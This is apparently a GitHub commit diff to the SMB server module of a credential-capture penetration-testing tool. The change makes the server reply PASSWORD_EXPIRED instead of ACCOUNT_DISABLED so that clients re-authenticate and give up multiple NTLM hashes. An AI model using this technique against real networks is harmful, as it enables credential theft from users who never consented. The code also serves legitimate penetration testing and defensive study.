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fixed bug in SMBv1 server

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ACCOUNT DISABLED  "\x72\x00\x00\xc0" in some time doesn't make client authenticate again, but  PASSWORD_EXPIRED "\x71\x00\x00\xc0"
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wreck1t 2019-11-19 02:34:39 +08:00 • committed by GitHub
commit c75bfc02c8
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1 changed files with 3 additions and 3 deletions
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6
servers/SMB.py
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@ -277,7 +277,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
if Is_Anonymous(data): if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x71\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x71\x00\x00\xc0" password expired for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)
@ -290,8 +290,8 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
ParseSMBHash(data,self.client_address[0], Challenge) ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0: if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any # Send PASSWORD_EXPIRED to get multiple hashes if there are any
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x71\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x71\x00\x00\xc0" password expired for anonymous logins.
Body = SMBSessEmpty() Body = SMBSessEmpty()
Packet = str(Header)+str(Body) Packet = str(Header)+str(Body)